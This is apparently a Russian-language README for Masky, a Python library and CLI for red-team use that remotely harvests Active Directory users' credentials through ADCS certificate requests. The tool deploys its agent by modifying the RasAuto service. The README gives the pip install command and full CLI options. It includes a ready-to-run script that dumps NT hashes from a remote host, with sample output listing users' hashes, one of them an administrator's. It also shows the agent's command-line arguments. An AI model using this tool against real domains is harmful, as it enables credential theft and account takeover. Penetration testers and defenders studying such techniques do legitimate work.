
Python-библиотека с CLI, позволяющая удаленно сбрасывать учетные данные пользователей домена через ADCS без сброса памяти процесса LSASS
Masky — это библиотека Python, предоставляющая альтернативный способ удалённого извлечения учётных данных пользователей домена с помощью ADCS. На её основе был построен инструмент командной строки, позволяющий легко собирать PFX, NT-хеши и TGT в более широком масштабе.
Этот инструмент не эксплуатирует никаких новых уязвимостей и не работает путём дампа памяти процесса LSASS. Вместо этого он использует только легитимные функции Windows и Active Directory (имитация токенов, аутентификация по сертификатам через Kerberos и извлечение NT-хешей через PKINIT). Статья в блоге была опубликована для подробного описания реализованных методов и принципов работы Masky.
Исходный код Masky во многом основан на замечательных инструментах Certify и Certipy. Я искренне благодарю их авторов за исследования в области оффенсивных техник против ADCS (см. раздел «Благодарности»).
Библиотека Masky для Python3 и связанный с ней CLI могут быть просто установлены через публичный репозиторий PyPi следующим образом:
pip install masky
Исполняемый файл агента Masky уже включён в пакет PyPi.
Кроме того, если вам необходимо изменить агента, код на C# можно перекомпилировать с помощью проекта Visual Studio, расположенного в agent/Masky.sln. Для сборки потребуется .NET Framework 4.
Masky спроектирован как библиотека Python. Кроме того, поверх неё был создан интерфейс командной строки, чтобы упростить её использование во время пентеста или RedTeam-активностей.
В обоих случаях вам сначала нужно получить FQDN CA-сервера и его CA-имя, развёрнутого через ADCS. Эту информацию легко получить с помощью опции certipy find или встроенной утилиты Microsoft certutil.exe. Убедитесь, что шаблон User по умолчанию включён на целевой CA.
Предупреждение: Masky развёртывает исполняемый файл на каждой цели через модификацию существующей службы RasAuto. Несмотря на автоматический откат исходного значения ImagePath, непредвиденная ошибка во время работы Masky может пропустить фазу очистки. Поэтому не забудьте вручную сбросить исходное значение в случае такого нежелательного останова.
Следующая демонстрация показывает базовое использование Masky при атаке на 4 удалённые системы. Её выполнение позволяет собрать NT-хеши, CCACHE и PFX для 3 разных пользователей домена из тестового домена sec.lab.
Masky также предоставляет опции, которые обычно встречаются в подобных инструментах (количество потоков, режим аутентификации, цели из файлов и т.д.).
__ __ _
| \/ | __ _ ___| | ___ _
| |\/| |/ _` / __| |/ / | | |
| | | | (_| \__ \ <| |_| |
|_| |_|\__,_|___/_|\_\__, |
v0.0.3 |___/
usage: Masky [-h] [-v] [-ts] [-t THREADS] [-d DOMAIN] [-u USER] [-p PASSWORD] [-k] [-H HASHES] [-dc-ip ip address] -ca CERTIFICATE_AUTHORITY [-nh] [-nt] [-np] [-o OUTPUT]
[targets ...]
positional arguments:
targets Targets in CIDR, hostname and IP formats are accepted, from a file or not
options:
-h, --help show this help message and exit
-v, --verbose Enable debugging messages
-ts, --timestamps Display timestamps for each log
-t THREADS, --threads THREADS
Threadpool size (max 15)
Authentication:
-d DOMAIN, --domain DOMAIN
Domain name to authenticate to
-u USER, --user USER Username to authenticate with
-p PASSWORD, --password PASSWORD
Password to authenticate with
-k, --kerberos Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters.
-H HASHES, --hashes HASHES
Hashes to authenticate with (LM:NT, :NT or :LM)
Connection:
-dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
-ca CERTIFICATE_AUTHORITY, --certificate-authority CERTIFICATE_AUTHORITY
Certificate Authority Name (SERVER\CA_NAME)
Results:
-nh, --no-hash Do not request NT hashes
-nt, --no-ccache Do not save ccache files
-np, --no-pfx Do not save pfx files
-o OUTPUT, --output OUTPUT
Local path to a folder where Masky results will be stored (automatically creates the folder if it does not exit)
Ниже приведён простой скрипт, использующий библиотеку Masky для сбора секретов активных сессий пользователей домена с удалённой цели.
from masky import Masky
from getpass import getpass
def dump_nt_hashes():
# Define the authentication parameters
ca = "srv-01.sec.lab\sec-SRV-01-CA"
dc_ip = "192.168.23.148"
domain = "sec.lab"
user = "askywalker"
password = getpass()
# Create a Masky instance with these credentials
m = Masky(ca=ca, user=user, dc_ip=dc_ip, domain=domain, password=password)
# Set a target and run Masky against it
target = "192.168.23.130"
rslts = m.run(target)
# Check if Masky succesfully hijacked at least a user session
# or if an unexpected error occured
if not rslts:
return False
# Loop on MaskyResult object to display hijacked users and to retreive their NT hashes
print(f"Results from hostname: {rslts.hostname}")
for user in rslts.users:
print(f"\t - {user.domain}\{user.name} - {user.nt_hash}")
return True
if __name__ == "__main__":
dump_nt_hashes()
Его выполнение генерирует следующий вывод.
$> python3 .\masky_demo.py
Password:
Results from hostname: SRV-01
- sec\hsolo - 05ff4b2d523bc5c21e195e9851e2b157
- sec\askywalker - 8928e0723012a8471c0084149c4e23b1
- sec\administrator - 4f1c6b554bb79e2ce91e012ffbe6988a
Объект MaskyResults, содержащий список объектов User, возвращается после успешного выполнения Masky.
Пожалуйста, посмотрите модуль masky\lib\results.py, чтобы узнать методы и атрибуты, предоставляемые этими двумя классами.
Начиная с версии Masky 0.0.5, автономный исполняемый агент теперь можно легко запускать без Python CLI.
Вот аргументы:
$> .\Masky.exe /ca:'CA SERVER\CA NAME' (/template:User) (/currentUser) (/output:./output.txt) (/debug:./debug.txt)
Параметр /ca обязателен, как и для Python CLI. Кроме того, был добавлен аргумент /currentUser, чтобы избежать имитации токенов. Вместо этого будет выполнен простой запрос сертификата в контексте текущего пользователя на основе предоставленного шаблона (template). Параметры /output и /debug позволяют указать путь, по которому будут созданы файлы.
Значения по умолчанию следующие: